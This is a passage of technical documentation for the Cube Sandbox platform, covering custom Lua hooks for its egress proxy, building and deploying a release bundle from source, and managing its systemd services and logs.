require("prompt_filter").inspect() -- ← new line require("debug_dump").dump_request("https") } # ... } } ``` **3) Rebuild + redeploy:** The lua files are baked into the cube-egress container image: ```bash cd CubeEgress && make build # rebuilds the image sudo systemctl restart cube-sandbox-cube-egress ``` Or, for live iteration without a full image rebuild, bind-mount the local `lua/` dir into the running container and reload: ```bash sudo docker run -d --name cube-egress \ --network=host \ -v $PWD/CubeEgress/lua:/usr/local/openresty/nginx/lua:ro \ -v $PWD/CubeEgress/nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro \ ...other flags... sudo docker exec cube-egress nginx -s reload ``` ### What you can reach from a custom phase When your module runs in `access_by_lua` or later phases, the following are available because the upstream phases already ran: | Source | Access | Useful for | | --- | --- | --- | | `ngx.ctx.cube_decision` | the decision struct from access\_phase: `rule_name`, `allow`, `audit_level`, `inject_count` | branching on the matched rule | | `ngx.var.ssl_server_name` | the original SNI captured at handshake | identity-locked routing | | `ngx.var.cube_audit_host` | match host (SNI > Host header > dst IP) | endpoint lookups | | `ngx.var.remote_addr` | sandbox IP — the policy\_store key | per-sandbox state | | `lua_shared_dict policy_store` | the live policy table | reading rules at runtime, e.g. extra match fields you encode in the rule body | | `lua_shared_dict cert_cache` | leaf cert cache | TLS introspection | | `audit.write_security_event(reason, decision)` | emits a `security_event` JSONL line | making rejections show up in audit | | `redactor.scrub(s)` | scrub secrets out of a string | logging anything user-visible | ### Suggested patterns * **Run after `access_phase`, not before.** That way deny rules short-circuit before your hook does expensive work. * **Use the audit module rather than `ngx.log` only.** Hand-rolled log lines won't show up in `access.jsonl`; downstream tooling (SIEM ingest, SOC dashboards) keys on the JSONL schema. * **Cap latency.** A prompt filter that calls out to an external classifier should set `lua-resty-http` timeouts well under the upstream `proxy_connect_timeout`. The sandbox is waiting on you. * **Fail safe.** If your classifier service is down, decide up-front whether you want to deny (security-first) or allow (availability- first). Don't crash the worker — wrap the call in `pcall` and surface a `security_event` either way. * **Don't put secrets in `ngx.shared.*`.** Those dicts are visible to every worker; sensitive material belongs in the inject path (which only writes outbound) or in `init_by_lua` per-worker globals. For more involved scenarios — a middleware chain, content rewriting, real-time classification — the same machinery applies; OpenResty's full lua API surface is available, including `lua-resty-http` for outbound calls and `cjson` for body manipulation. --- --- url: https://cubesandbox.com/guide/self-build-deploy.md --- # Self-Build Deployment > If you prefer to get started without building from source, see [Quick Start](./quickstart.md). This guide walks you through building a Cube Sandbox release bundle from source and deploying it on a single bare-metal server. Self-build deployment is intended for **evaluation, development, and testing** purposes, and is also the starting point if you need to customize components or add compute nodes. After deployment, you will have a fully functional Cube Sandbox instance with: * E2B-compatible REST API on port `3000` * CubeMaster, Cubelet, and CubeShim running as host processes; the network runtime is embedded in Cubelet * MySQL and Redis managed via Docker Compose * CubeProxy with TLS (mkcert) and CoreDNS for `cube.app` domain routing ## Prerequisites ### Hardware * **Physical machine or bare-metal server** (nested virtualization is not supported) * **x86\_64** or **aarch64** (ARM64) architecture * **KVM enabled** — verify with `ls /dev/kvm` * Recommended: 8+ CPU cores, 16+ GB RAM ### Software (Target Machine) | Requirement | Notes | |-------------|-------| | Linux | OpenCloudOS 9 (recommended) or Ubuntu 22.04+ | | Docker | Must be installed and running | | root access | `install.sh` requires root privileges | | DNS routing | `systemd-resolved` (preferred) or `NetworkManager + dnsmasq` | | `tar`, `ss`, `grep`, `sed`, `awk` | Required by install script | ### Software (Build Machine) | Requirement | Notes | |-------------|-------| | Docker | For running the builder container | | `make` | For building the builder image | | `tar`, `python3`, `truncate`, `ldd`, `mkfs.ext4` | For guest image generation and packaging | ::: tip Architecture The release bundle is built **natively** for the build machine's architecture — components are not cross-compiled. Build on a machine of the **same architecture** as your target host (an `x86_64` build machine produces an `x86_64` bundle; an `aarch64` build machine produces an `aarch64` bundle). The build toolchain auto-detects the host architecture (via `uname -m`); set `TARGET_ARCH` only if you need to override the detected value. ::: > The build machine and target machine can be the same physical host. ### Network * Internet access is required to pull `mysql:8.0` and `redis:7-alpine` Docker images. * `mkcert` binary is bundled inside the release package and installed automatically when not already present on the target machine. * The S3 volume plugin is a static Go binary with a built-in S3 client, compiled at pack time from `examples/volume/s3`. Control nodes need no S3 command line tool; nodes that mount volumes still need `s3fs`. Ship a prebuilt binary with `ONE_CLICK_VOLUME_S3_BIN`. * CubeProxy image build uses Alpine and PyPI mirrors (configurable). ## Step 1: Build the Release Bundle These steps are performed on the **build machine**. ### 1.1 Prepare the Kernel Get a compiled `vmlinux` kernel file into the designated directory. Two options: **Option A — download a prebuilt kernel (recommended)** Guest kernels are published on dedicated `kernel-release-*` Releases, so you don't have to compile one yourself: ```bash # Standard (bare-metal/KVM) guest kernel — pick the target architecture wget -O deploy/one-click/assets/kernel-artifacts/vmlinux \ "https://github.com/TencentCloud/CubeSandbox/releases/download/kernel-release-260812-1/vmlinux-amd64" # (use vmlinux-arm64 on aarch64) # If the target host deploys with PVM, also fetch the PVM guest kernel wget -O deploy/one-click/assets/kernel-artifacts/vmlinux-pvm \ "https://github.com/TencentCloud/CubeSandbox/releases/download/kernel-release-260812-1/vmlinux-pvm-amd64" ``` The tag above is an example — see [Downloads & Releases](./downloads.md) for the latest tag, the CNB mirror, and the full asset list. **Option B — compile your own `vmlinux`** ```bash cp /path/to/vmlinux deploy/one-click/assets/kernel-artifacts/ ``` The default expected filename is `vmlinux`. You can override the path via the `ONE_CLICK_CUBE_KERNEL_VMLINUX` environment variable. ### 1.2 Run the Build Copy the build environment template if you need overrides, then run from the repository root: ```bash cd CubeSandbox cp deploy/one-click/build.env.example deploy/one-click/build.env ./deploy/one-click/build-release-bundle-builder.sh ``` This script will: 1. Build or reuse the `cube-sandbox-builder` Docker image 2. Compile all components inside the builder container (CubeMaster, Cubelet, cube-api, cube-agent, CubeShim, cube-runtime) 3. Build the guest VM image on the host 4. Package everything into a release tarball ### 1.3 Locate the Output On success, the release bundle is created at: ``` deploy/one-click/dist/cube-sandbox-one-click-<version>.tar.gz ``` The `<version>` is derived from the current Git commit ID. The bundle contains: * All compiled binaries (cubemaster, cubelet, cube-api, containerd-shim-cube-rs, cube-runtime) * Guest VM image (`cube-guest-image-cpu.img`) * Kernel package (`cube-kernel-scf.zip`) * CubeProxy and CoreDNS Docker Compose templates * MySQL/Redis Docker Compose templates * S3 volume plugin binary (`{CubeMaster,Cubelet}/plugin/cube-volume-s3`) for Volume create/destroy and attach/detach * Installation scripts (`install.sh`, `install-compute.sh`, `down.sh`, `smoke.sh`) * Environment template (`env.example`) ## Step 2: Deploy to the Target Machine ### 2.1 Upload and Extract Copy the tarball to the target machine and extract it: ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> ``` ### 2.2 Configure Environment Variables ```bash cp env.example .env ``` Most variables have sensible defaults for single-node deployment. The installer auto-detects the node IP from `eth0`. If your primary network interface uses a different name, or you want to pin a specific IP, set it explicitly in `.env`: ```bash CUBE_SANDBOX_NODE_IP=<your-node-ip> ``` See [Configuration Reference](#configuration-reference) below for a full list of configurable parameters. ### 2.3 Install #### Control Node ```bash sudo ./install.sh ``` The install script will: 1. Optionally configure a Docker registry mirror (if `ONE_CLICK_ENABLE_TENCENT_DOCKER_MIRROR=1`) 2. Extract the sandbox package to the fixed install root `/usr/local/services/cubetoolbox` 3. Create required log and data directories 4. Symlink CubeShim binaries to `/usr/local/bin/` 5. Install bundled `mkcert` (if not already present), generate TLS certificates for `cube.app` 6. Start MySQL and Redis via Docker Compose 7. Build and start the CubeProxy container 8. Start CoreDNS and configure host DNS routing for `cube.app` 9. Start host processes: cubemaster, cube-api, cubelet 10. Run a health check (if `ONE_CLICK_RUN_QUICKCHECK=1`) After installation, the installer symlinks `cubemastercli` and `cubecli` into `/usr/local/bin`. #### Adding Compute Nodes (Multi-Node Cluster) To scale beyond a single machine, you can add compute-only nodes that register to this control node. See the [Multi-Node Cluster Deployment](./multi-node-deploy.md) guide for full instructions. ## Verifying the Deployment ### Health Check ```bash sudo ./smoke.sh ``` This runs `quickcheck.sh` and verifies that the `cube-api /health` endpoint is responding. For compute-node health checks, see [Multi-Node Cluster Deployment — Verifying the Deployment](./multi-node-deploy.md#verifying-the-deployment). ### Test with E2B SDK Set the following environment variables on your client machine: ```bash export CUBE_TEMPLATE_ID=<your-template-id> export E2B_API_URL=http://<target-host>:3000 export E2B_API_KEY=e2b_000000 export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` | Variable | Description | |----------|-------------| | `CUBE_TEMPLATE_ID` | Sandbox template ID, required by all examples | | `E2B_API_URL` | Cube API address; without this the SDK will contact the official E2B cloud | | `E2B_API_KEY` | The SDK requires a non-empty value; any string works for local deployments | | `SSL_CERT_FILE` | Path to the mkcert CA root certificate, needed for HTTPS connections | **Run code** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox!')") print(result) ``` **Run a shell command** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: result = sandbox.commands.run("echo hello cube") print(result.stdout) ``` **Read a file inside the sandbox** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: content = sandbox.files.read("/etc/hosts") print(content) ``` For more examples, see the example scripts under `CubeAPI/examples/` in the repository. ## Common Operations ### Stop All Services ```bash sudo ./down.sh ``` This stops all host processes (cubelet, cubemaster, cube-api), Docker containers (CubeProxy, CoreDNS, MySQL, Redis), and rolls back the `cube.app` DNS routing configuration. ### Upgrade or reinstall On a machine that already has CubeSandbox, running `install.sh` again defaults to a **config-preserving upgrade** (it keeps `/usr/local/services/cubetoolbox/.one-click.env`). On a TTY the installer asks `[Y/n]`; non-interactive runs upgrade without prompting. To wipe the existing configuration and fully reinstall, pass `--mode=install`. ### View Logs | Component | Log Path | |-----------|----------| | cube-api | `/data/log/CubeAPI/` | | CubeMaster | `/data/log/CubeMaster/` | | Cubelet | `/data/log/Cubelet/` | | CubeShim | `/data/log/CubeShim/` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | | CubeProxy | `/data/log/cube-proxy/` | | Runtime PID files | `/var/run/cube-sandbox-one-click/` | | Process stdout/stderr | `/var/log/cube-sandbox-one-click/` | ## Configuration Reference Install-time configuration is managed through the `.env` file copied from `env.example`. Build-time options live in `build.env` (copied from `build.env.example`) on the build machine. ### Build-time Options Copy `deploy/one-click/build.env.example` to `deploy/one-click/build.env` and set overrides there (or export them in the shell). | Variable | Default | Description | |----------|---------|-------------| | `BUILDER_IMAGE` | `cube-sandbox-builder:latest` | Docker image used for compilation | | `ONE_CLICK_CUBEMASTER_BUILD_MODE` | `local` | Build mode for CubeMaster (`local` = compile from source) | | `ONE_CLICK_CUBELET_BUILD_MODE` | `local` | Build mode for Cubelet | | `ONE_CLICK_CUBE_API_BUILD_MODE` | `local` | Build mode for cube-api | | `ONE_CLICK_CUBE_AGENT_BUILD_MODE` | `local` | Build mode for cube-agent | | `ONE_CLICK_CUBE_INIT_BUILD_MODE` | `local` | Build mode for cube-init | | `ONE_CLICK_CUBE_SHIM_BUILD_MODE` | `local` | Build mode for CubeShim | | `ONE_CLICK_CUBE_KERNEL_VMLINUX` | `assets/kernel-artifacts/vmlinux` | Path to the vmlinux kernel file | You can also point to prebuilt binaries to skip compilation: | Variable | Description | |----------|-------------| | `ONE_CLICK_CUBEMASTER_BIN` | Path to prebuilt cubemaster binary | | `ONE_CLICK_CUBEMASTERCLI_BIN` | Path to prebuilt cubemastercli binary | | `ONE_CLICK_TEMPLATECENTER_BIN` | Path to prebuilt templatecenter binary | | `ONE_CLICK_CUBELET_BIN` | Path to prebuilt cubelet binary | | `ONE_CLICK_CUBECLI_BIN` | Path to prebuilt cubecli binary | | `ONE_CLICK_CUBE_API_BIN` | Path to prebuilt cube-api binary | | `ONE_CLICK_CUBE_AGENT_BIN` | Path to prebuilt cube-agent binary (packaged into cube-agent.ext4) | | `ONE_CLICK_CUBE_INIT_BIN` | Path to prebuilt cube-init binary (injected as guest `/sbin/init`) | | `ONE_CLICK_CUBESHIM_BIN` | Path to prebuilt containerd-shim-cube-rs binary | | `ONE_CLICK_CUBE_RUNTIME_BIN` | Path to prebuilt cube-runtime binary | | `ONE_CLICK_MKCERT_BIN` | Override path to mkcert binary at build time (default: bundled `assets/bin/mkcert`) | | `ONE_CLICK_VOLUME_S3_BUILD_MODE` | Build mode for the S3 volume plugin (default `local`) | | `ONE_CLICK_VOLUME_S3_BIN` | Override path to a prebuilt `cube-volume-s3`; skips the pack-time build | Build-performance knobs (all optional): | Variable | Default | Description | |----------|---------|-------------| | `ONE_CLICK_BUILD_JOBS` | auto | Max concurrent component build tracks. Auto = min of CPU count and available-memory/3GiB (available memory respects the cgroup limit when building in a container). Set `1` for a fully serial build, or a large value to uncap. | | `ONE_CLICK_DISABLE_PIGZ` | empty | Set to `1` to force portable single-threaded `gzip` for tarballs instead of `pigz` (parallel gzip), e.g. when a consistent single-tool compressor is preferred over pigz's parallel block framing. | | `ONE_CLICK_SEQUENTIAL_WEB_BUILD` | empty | Set to `1` to build the WebUI synchronously instead of overlapping it with the guest-image build. | | `CUBE_BUILD_TIME` | HEAD commit date (UTC) | Build timestamp embedded in binaries and recorded as `built_at` in `release-manifest.json` / `VERSION.txt`. Defaults to the HEAD commit date so repeated builds on the same commit are byte-identical and reuse incremental caches; override with a literal timestamp (e.g. `2026-01-01T00:00:00Z`) for a wall-clock value. | ### Target Machine Options | Variable | Default | Description | |----------|---------|-------------| | `ONE_CLICK_DEPLOY_ROLE` | `control` | Deployment role: `control` for single-node (default). For compute-only nodes, see [Multi-Node Cluster Deployment](./multi-node-deploy.md) | | `ONE_CLICK_CONTROL_PLANE_IP` | empty | Compute-node mode only. See [Multi-Node Cluster Deployment](./multi-node-deploy.md#step-2-configure-environment-variables) | | `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | empty | Compute-node mode only. Cubelet registers against CubeOps on port 3010. See [Multi-Node Cluster Deployment](./multi-node-deploy.md#step-2-configure-environment-variables) | | `CUBE_SANDBOX_NODE_IP` | auto-detected from `eth0` | Node's primary network interface IP. Auto-detected if unset; set explicitly if your interface differs. | | `CUBE_SANDBOX_NETWORK_CIDR` | `192.168.0.0/18` | cubevs local network CIDR for sandbox IP allocation. IPv4 CIDR format (e.g., `10.100.0.0/18`), mask range /16–/24. Conflicts with host interfaces, routes, or resolver nameservers abort installation during preflight. Uses the fixed default when unset. | | `CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK` | `0` | Set to `1` to skip CIDR conflict detection for the default or custom sandbox CIDR (not recommended). | | `ONE_CLICK_RUN_QUICKCHECK` | `1` | Run health check after installation | | `ONE_CLICK_RUNTIME_DIR` | `/var/run/cube-sandbox-one-click` | PID and runtime files directory | | `ONE_CLICK_LOG_DIR` | `/var/log/cube-sandbox-one-click` | Process stdout/stderr log directory | ### Database and Cache | Variable | Default | Description | |----------|---------|-------------| | `CUBE_SANDBOX_MYSQL_CONTAINER` | `cube-sandbox-mysql` | MySQL container name | | `CUBE_SANDBOX_REDIS_CONTAINER` | `cube-sandbox-redis` | Redis container name | | `CUBE_SANDBOX_MYSQL_PORT` | `3306` | MySQL port | | `CUBE_SANDBOX_REDIS_PORT` | `6379` | Redis port | | `CUBE_SANDBOX_MYSQL_ROOT_PASSWORD` | `cube_root` | MySQL root password | | `CUBE_SANDBOX_MYSQL_DB` | `cube_mvp` | MySQL database name | | `CUBE_SANDBOX_MYSQL_USER` | `cube` | MySQL user | | `CUBE_SANDBOX_MYSQL_PASSWORD` | `cube_pass` | MySQL user password | | `CUBE_SANDBOX_REDIS_PASSWORD` | `ceuhvu123` | Redis password | ### CubeProxy and DNS | Variable | Default | Description | |----------|---------|-------------| | `CUBE_PROXY_ENABLE` | `1` | Enable CubeProxy (must be `1` for one-click) | | `CUBE_PROXY_HTTPS_PORT` | `443` | CubeProxy HTTPS listen port | | `CUBE_PROXY_HTTP_PORT` | `80` | CubeProxy HTTP listen port; the systemd post-start TCP listener check follows this port | | `CUBE_PROXY_GRPC_PORT` | `9090` | CubeProxy plaintext gRPC (HTTP/2) listen port | | `CUBE_EGRESS_ADMIN_PORT` | `9091` | CubeEgress loopback admin API port (policy push); install.sh also patches Cubelet `cube_egress_admin_url` | | `CUBE_PROXY_DNS_ENABLE` | `1` | Enable CoreDNS (must be `1` for one-click) | | `CUBE_PROXY_DNS_ANSWER_IP` | `${CUBE_SANDBOX_NODE_IP}` | IP returned by CoreDNS for `cube.app` | | `CUBE_PROXY_COREDNS_BIND_ADDR` | `127.0.0.54` | CoreDNS bind address | ### Process Addresses | Variable | Default | Description | |----------|---------|-------------| | `CUBEMASTER_ADDR` | `127.0.0.1:8089` | CubeMaster listen address | | `CUBE_API_BIND` | `0.0.0.0:3000` | cube-api listen address | | `CUBE_API_HEALTH_ADDR` | `127.0.0.1:3000` | cube-api health check address | | `CUBE_API_SANDBOX_DOMAIN` | `cube.app` | Sandbox domain for CubeProxy routing | ### Docker Mirror (Optional) | Variable | Default | Description | |----------|---------|-------------| | `ONE_CLICK_ENABLE_TENCENT_DOCKER_MIRROR` | `1` | Enable Tencent Cloud Docker registry mirror | | `ONE_CLICK_TENCENT_DOCKER_MIRROR_URL` | `https://mirror.ccs.tencentyun.com` | Mirror URL | ## Installed Directory Structure After installation, the deployment is located at `/usr/local/services/cubetoolbox/`: ``` /usr/local/services/cubetoolbox/ ├── CubeAPI/bin/cube-api # E2B-compatible API server ├── CubeMaster/ │ ├── bin/cubemaster # Orchestration service │ ├── bin/cubemastercli # CLI tool │ └── conf.yaml # CubeMaster configuration ├── Cubelet/ │ ├── bin/cubelet # Node agent │ ├── bin/cubecli # CLI tool │ ├── config/ # Cubelet configuration │ └── dynamicconf/ # Dynamic configuration ├── cube-shim/bin/ │ ├── containerd-shim-cube-rs # containerd shim │ └── cube-runtime # Runtime binary ├── cube-image/ │ └── cube-guest-image-cpu.img # Guest VM image ├── cube-kernel-scf/ # Kernel artifacts ├── cubeproxy/ # CubeProxy Docker Compose and configs ├── coredns/ # CoreDNS Docker Compose ├── support/ # MySQL/Redis Docker Compose + bundled mkcert ├── sql/ # Database schema and seed data ├── scripts/one-click/ # Runtime management scripts └── .one-click.env # Active environment configuration ``` ## Troubleshooting ### Docker Not Installed or Not Running ``` Error: required command not found: docker ``` Install Docker following the [official documentation](https://docs.docker.com/engine/install/) and ensure the Docker daemon is running: ```bash sudo systemctl start docker sudo systemctl enable docker ``` ### KVM Not Available If `/dev/kvm` does not exist, KVM is not enabled. Ensure you are running on a physical machine (not a VM) and that the kernel supports KVM: ```bash # Check KVM support lsmod | grep kvm ``` For Intel CPUs, you need `kvm_intel`; for AMD, `kvm_amd`. ### DNS Routing Failure The install script configures `cube.app` split DNS via `systemd-resolved` or `NetworkManager + dnsmasq`. If neither is available, installation will fail. **Workaround**: Manually add DNS entries for `*.cube.app` pointing to `CUBE_SANDBOX_NODE_IP` in `/etc/hosts` or your DNS server. ### mkcert Not Working The `mkcert` binary is bundled inside the release package and automatically installed to `/usr/local/bin/mkcert` during deployment. If you need to use a different version, either pre-install `mkcert` to the system PATH before running `install.sh`, or override the binary at build time via the `ONE_CLICK_MKCERT_BIN` environment variable. ### MySQL/Redis Container Startup Failure Check Docker logs: ```bash docker logs cube-sandbox-mysql docker logs cube-sandbox-redis ``` Common causes: * Port conflicts (3306 or 6379 already in use) * Insufficient disk space for Docker volumes * Docker daemon issues ## Known Limitations * If `vmlinux` is missing from `assets/kernel-artifacts/`, the build will fail immediately. * If the build machine's `mkfs.ext4` does not support the `-d` flag, guest image generation will fail. * `cube-snapshot/spec.json` is not a mandatory artifact in the current one-click release; missing it will cause a warning but not block startup. * Environments lacking both `systemd-resolved` and `NetworkManager` are not currently supported for automatic DNS configuration. --- --- url: https://cubesandbox.com/guide/service-management.md --- # Service Management & Logs This page is for users who have **already installed CubeSandbox** and want to keep the stack healthy in day-to-day operation. After reading this page you will know: * Which systemd services run on the host and how they depend on each other * Which service to restart after editing a config file * How to debug a service that keeps failing * Where to find runtime logs, startup logs and in-container logs — and the boundaries between them * How to stop / restart the whole stack cleanly ::: tip Scope This page targets the **systemd-managed** one-click installer. If your machine still uses the legacy `up-with-deps.sh` / `down-with-deps.sh` scripts as the daily entry point, that is the pre-systemd version — re-running the latest one-click installer will migrate it to systemd automatically (the installer detects and takes over the old layout). ::: ## TL;DR cheat-sheet ```bash # 1. Are all cube-sandbox services still alive? sudo systemctl --no-legend list-units 'cube-sandbox-*' # 2. Edited a config -> restart the matching service sudo systemctl restart cube-sandbox-cube-api.service sudo systemctl restart cube-sandbox-cubemaster.service sudo systemctl restart cube-sandbox-cubelet.service # 3. Runtime logs (requests / stats / audit / VMM) live under /data/log/, NOT in journalctl sudo tail -F /data/log/Cubelet/Cubelet-req.log sudo tail -F /data/log/CubeMaster/cubemaster-req.log sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log sudo tail -F /data/log/CubeVmm/vmm.log # sandbox VMM lifecycle sudo tail -F /data/log/cube-proxy/error.log # proxy errors # 4. Startup failures / process exit reasons -> journalctl sudo journalctl -u cube-sandbox-cube-api.service -n 200 --no-pager # 5. One-shot diagnostic bundle (tails of /data/log + configs + dmesg + process snapshot) sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh ``` ::: warning Runtime logs are at `/data/log/`, NOT `journalctl` This is the most common pitfall for new operators: each component **only sends startup-time stdout/stderr to journal**. Request / scheduling / stat / audit / VMM creation logs are written **directly to `/data/log/<Module>/`**. To find "who created a sandbox in the last hour", look at `/data/log/`, not `journalctl`. ::: ## Service overview The one-click installer registers 14 systemd units under `/etc/systemd/system/` and aggregates them into two role-specific targets. ### Role targets | Target | Purpose | Role | |---|---|---| | `cube-sandbox-control.target` | All control-plane services (default all-in-one) | `control` | | `cube-sandbox-compute.target` | Minimum subset for compute-only nodes | `compute` | ::: tip How aggregation works The target lists its child services via `Wants=`; each service declares membership via `PartOf=`. So `systemctl stop cube-sandbox-control.target` stops every `PartOf=cube-sandbox-control.target` service in one shot — no need to spell out the long list of unit names. ::: ### Service catalog | Unit | Process form | Port / listen | Present on | Upstream deps | |---|---|---|---|---| | `cube-sandbox-mysql.service` | Docker container | `3306` | control | docker | | `cube-sandbox-redis.service` | Docker container | `6379` | control | docker | | `cube-sandbox-cubemaster.service` | Host process | `8089` | control | mysql, redis | | `cube-sandbox-cube-api.service` | Host process | `3000` (E2B-compatible API) | control | cubemaster | | `cube-sandbox-cubelet.service` | Host process | `9999` (gRPC), HTTP diagnostics | control / compute | embedded network runtime + `/data/cubelet` (XFS) | | `cube-sandbox-coredns.service` | Docker container | `127.0.0.54:53` or `169.254.254.53:53` | control | docker | | `cube-sandbox-cube-proxy.service` | Docker container | `443` (TLS) / `80` / `9090` (gRPC) | control | docker, redis | | `cube-sandbox-dns.service` | oneshot (no daemon) | — | control | coredns (`BindsTo`) | | `cube-sandbox-webui.service` | Docker container | `12088` | control | docker, cube-api | ### Startup dependency map (control node) ```text docker.service ├─ mysql.service ─┐ ├─ redis.service ─┼─ cubemaster.service ─ cube-api.service ─ webui.service │ └─ cube-proxy.service └─ coredns.service ─ dns.service (oneshot, BindsTo coredns) network-online.target └─ cubelet.service (embedded network runtime) ``` Dependencies only express **startup ordering** via `After=` / `Wants=`. If an upstream service crashes at runtime, downstreams are **not** automatically restarted — cubelet won't be cycled just because cube-api died, and vice versa. ## Restarting services ### Scenario A: edited a config and want it to take effect The two most common config entry points: * Top-level env: `/usr/local/services/cubetoolbox/.one-click.env` * Per-component: `Cubelet/config/config.toml`, `Cubelet/dynamicconf/conf.yaml`, `CubeMaster/conf.yaml`, `cubeproxy/global.conf`, `coredns/Corefile` Restart the **service that consumes that config**: ```bash # Cubelet config sudo systemctl restart cube-sandbox-cubelet.service # CubeMaster config sudo systemctl restart cube-sandbox-cubemaster.service # CUBE_API_* in .one-click.env sudo systemctl restart cube-sandbox-cube-api.service # cubeproxy/global.conf sudo systemctl restart cube-sandbox-cube-proxy.service # coredns/Corefile sudo systemctl restart cube-sandbox-coredns.service ``` ::: warning Editing the systemd unit file itself If you change `/etc/systemd/system/cube-sandbox-*.service`, run `daemon-reload` so systemd picks up the new content: ```bash sudo systemctl daemon-reload sudo systemctl restart cube-sandbox-<service>.service ``` If you only edited the helper script (`/usr/local/services/cubetoolbox/scripts/systemd/*.sh`), `daemon-reload` is **not** needed — the next `restart` re-invokes the script. ::: ## Cubelet artifact paths {#cubelet-artifact-paths} Cubelet stores template rootfs artifacts as read-only ext4 files built from Docker/OCI images. Configure their location and the kernel source used for template runtime files in `Cubelet/config/config.toml`, under `[plugins."io.cubelet.internal.v1.images"]`: ```toml [plugins."io.cubelet.internal.v1.images"] image_base_path = "/usr/local/services/cubetoolbox/cubebox_os_image" shared_kernel_path = "/usr/local/services/cubetoolbox/cube-kernel-scf/vmlinux" ``` `image_base_path` is the final cache directory for cubebox template artifacts. Each artifact is stored below `<image_base_path>/<artifact-id>/<artifact-id>.ext4` (with the corresponding `.vm` file). `shared_kernel_path` is the source `vmlinux` used for template artifacts and sandboxes without a template. Both values must be absolute paths. When omitted, Cubelet keeps the historical toolbox paths; `cubetool_base_dir` remains a legacy fallback for older configurations. Once either new path is set, it takes precedence for that path and the legacy setting does not override it. If the legacy cbri `base_path` is customized, set `shared_kernel_path` explicitly to the matching kernel under that installation; `base_path` still controls the no-template guest and agent images, but no longer selects `vmlinux`. The configured kernel path must resolve to the same active bm/pvm variant and digest selected for the node; changing this path does not select a different kernel identity for node or template reporting. The image path and kernel path are independent. After changing either value, restart Cubelet. Cubelet does not move existing artifacts automatically; make the affected cache or kernel files available at the new paths before switching. Existing snapshots additionally require their historical artifact paths to remain resolvable (for example through a deployment-level softlink), or the snapshots must be recreated, because snapshot metadata stores absolute kernel and ext4 artifact paths. The legacy cbri plugin's `image_base_path` and `kernel_base_path` fields are ignored as artifact path sources; configure artifact paths under the images plugin instead. If those legacy fields contain custom values, copy the intended values to the images plugin before removing or updating the legacy entries. `cubelet config dump` and `cubelet config migrate` write the resolved artifact paths as explicit `image_base_path` and `shared_kernel_path` values. After using that output as a configuration file, edit those explicit fields when changing paths; changing only `cubetool_base_dir` will not override them. ## CubeMaster settings {#cubemaster-settings} Path: `/usr/local/services/cubetoolbox/CubeMaster/conf.yaml` (from `configs/single-node/cubemaster.yaml` in one-click bundles). Under `cubelet_conf`: | Key | Purpose | |-----|---------| | `default_timeout_insec` | Server default **sandbox idle TTL** (seconds) when the client omits `timeout`. **Unset or `<= 0` means no cluster-wide idle timeout** (sandboxes never time out from idle unless the client sets `timeout`). The repository ships `-1` for this “no default” behavior. Set a positive value (e.g. `300`) in production if you want automatic reclamation of sandboxes created without an explicit TTL. | | `create_timeout_insec` | Create/scheduling RPC deadline only — **not** sandbox idle TTL. Defaults to `600` when unset. | | `common_timeout_insec` | Generic CubeMaster→Cubelet RPC timeout for non-create paths. | | `create_image_timeout_insec` | Timeout for CubeMaster to instruct a single compute node to **download an image**. It covers downloading, validating, and storing the rootfs artifact. Increase it for large images, low-bandwidth connections, or slow disks. The default is `300` seconds. | | `app_snapshot_timeout_insec` | Timeout for CubeMaster to instruct a single compute node to **create a template**. It covers starting the temporary VM, waiting for its readiness probe, saving memory and disk state, cleaning up the temporary VM, and returning the result. If unset or set to a non-positive value, it defaults to `300` seconds. Increase it when network conditions are poor or the template is large. | The image-download and template-creation timeouts are independent and each starts when its corresponding RPC begins. Example configuration: ```yaml cubelet_conf: create_image_timeout_insec: 300 app_snapshot_timeout_insec: 600 ``` After changing any of these CubeMaster settings, restart CubeMaster: ```bash sudo systemctl restart cube-sandbox-cubemaster.service ``` For relevant details, see [Sandbox lifecycle — Operational Notes](lifecycle.md#cluster-default-idle-timeout-default_timeout_insec). ### Scenario B: a service is failing or restart-looping Every service has `Restart=on-failure`, so a single crash is auto-recovered. If the unit is restart-looping, find the root cause first. #### 1. Inspect current state ```bash sudo systemctl status cube-sandbox-cube-proxy.service --no-pager ``` Watch for: * `Active: failed` / `Active: activating (start-post)` (still trying) * `Restart Counter` climbing rapidly (restart loop) * The last 10 journal lines printed at the bottom #### 2. Read startup logs ```bash sudo journalctl -u cube-sandbox-cube-proxy.service -n 200 --no-pager ``` Best for: scripting bugs, ExecStart failures, `docker pull` errors, `apk` / `apt` network errors, ExecStartPost health-check timeouts. #### 3. Read runtime logs If the service starts but misbehaves, **runtime logs live under `/data/log/`, not in journal**: ```bash sudo tail -200 /data/log/Cubelet/Cubelet-req.log sudo tail -200 /data/log/CubeMaster/cubemaster-req.log sudo tail -200 /data/log/CubeAPI/cube-api-$(date +%F).log ``` #### 4. Reset the failed counter and restart ```bash sudo systemctl reset-failed cube-sandbox-cube-proxy.service sudo systemctl restart cube-sandbox-cube-proxy.service ``` ### Scenario C: full restart / post-maintenance recovery ```bash # Control node sudo systemctl restart cube-sandbox-control.target # Compute node sudo systemctl restart cube-sandbox-compute.target ``` Or from the release-bundle directory: ```bash sudo ./down.sh sudo systemctl start cube-sandbox-control.target ``` ::: tip Restarting the target = ordered restart of every PartOf service A target has no process of its own. Restarting it makes systemd cycle every `PartOf=cube-sandbox-control.target` service in dependency order — a shorthand for "restart everything". ::: ### Scenario D: full shutdown ```bash # Recommended: use the bundled script (auto-detects role) sudo /root/cube-sandbox-one-click-<version>/down.sh # Equivalent sudo systemctl stop cube-sandbox-control.target # control node sudo systemctl stop cube-sandbox-compute.target # compute node ``` `down.sh` does **not** delete data: MySQL / Redis volumes, `/data/cubelet`, 